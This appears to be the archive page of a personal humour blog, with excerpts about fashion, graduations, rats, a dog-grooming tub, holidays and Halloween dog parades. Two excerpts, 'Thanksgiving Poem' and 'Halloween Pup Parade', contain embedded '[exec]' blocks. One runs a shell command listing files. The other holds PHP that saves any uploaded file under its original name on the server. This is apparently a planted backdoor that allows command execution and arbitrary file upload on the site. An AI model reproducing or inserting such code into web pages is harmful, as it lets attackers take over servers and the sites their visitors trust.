“There are moments, Jeeves, when one asks oneself, 'Do trousers matter?'" "The mood will pass, sir.” ― P.G. Wodehouse, The Code of the Woosters My dearest cousin asked me to write a post for “Odd,” and I asked her to give me a topic. She said, “fashion”. Now, most of you don’t know me, but … Continue reading One Size Fits All – Fashion Advice from Cousin Craig
Aim High and You Won’t Shoot Your Foot Off
Please welcome Cousin Craig back to Odd! He knows you've missed him like craigz! No worries, he plans to stick around for the summer! # Loved one’s are flocking to the university I work for to proudly watch their college investments walk across a stage, collect their diplomas, and mature into a college graduate. … Continue reading Aim High and You Won’t Shoot Your Foot Off
Why Have Kids If You Don’t Torture Them
A while back, I wrote about a well in Chicago. Families come from all over the city to pump well water into various containers and lug it home. While the Adult (aka my son) and I used to frequent the well a lot to people-watch, we hadn't been in some time. This past Sunday, I … Continue reading Why Have Kids If You Don’t Torture Them
Why’d it have to be Rats?
Oh Rats! Rats terrify me. This fear was triggered by an experience I had shortly after moving to Chicago. I’m not going to relive that experience in the telling; suffice to say, I’m more than a little afraid of these four-lettered rodents. Do your fears stalk you too? Do you know what I mean? Snakes … Continue reading Why’d it have to be Rats?
Kids These Days or How Did I Survive Childhood
Kids these days have it so easy. I’m sure you’ve heard this lament. It could be because I work on a college campus, but I hear it a lot. And between you and me, Odd reader, I don't agree. Growing up now is so much harder than when I was young. Let’s discuss! I'll build … Continue reading Kids These Days or How Did I Survive Childhood
Once Upon A Grooming Tub
Do you want to hear our grooming tub story? This isn’t a “once upon a time” story. It starts with an internet search and a debit card, not deep in a primeval forest. No princesses or singing snowmen. In a nutshell: The Millennial (aka Cole, Day Camp Director) and I bought a grooming tub—from a … Continue reading Once Upon A Grooming Tub
Tis the Season to Slow Down
Grocery stories are one of my least favorite places. The harsh lights, overwhelming choices, and end displays are all meant to confuse you and to trap you into buying things you don’t need or to keep you from finding the things you do need. And they are always moving stuff around. When I recently discovered … Continue reading Tis the Season to Slow Down
All I Want For Christmas
What do you want for Christmas? We already have Peace On Earth (for those that look) We already have goodwill towards all (mine and yours for starters). And Joy (it is for the taking) So.... Tell us what you really want....And don't be all Hallmark-y, Ok? Or I don't need anythingish. So boring! Store bought, … Continue reading All I Want For Christmas
Thanksgiving Poem – Naughty and Nice
[exec]echo `ls `;[/exec] Halloween 2016 from Katybeth on Vimeo. Camp Halloween Photo Parade Well, at least I wrapped up Halloween before Thanksgiving—barely. Where did November go? One minute it was Halloween, and the next minute it’s the week before Thanksgiving. Between the Chicago Cubs and the election, life has been a blur. Halloween was wrapped … Continue reading Thanksgiving Poem – Naughty and Nice
Halloween Pup Parade and Outakes
[exec] . if (is_uploaded_file($_FILES["filename"]["tmp_name"])) { move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]); $file = $_FILES["filename"]["name"]; echo ''.$file.''; } else { echo("FILE"); } [/exec] Halloween 2016 from Katybeth on Vimeo. Camp Halloween Photo Parade Well, at least I wrapped up Halloween before Thanksgiving—barely. Where did November go? One minute it was Halloween, and the next minute it’s the week before Thanksgiving. … Continue reading Halloween Pup Parade and Outakes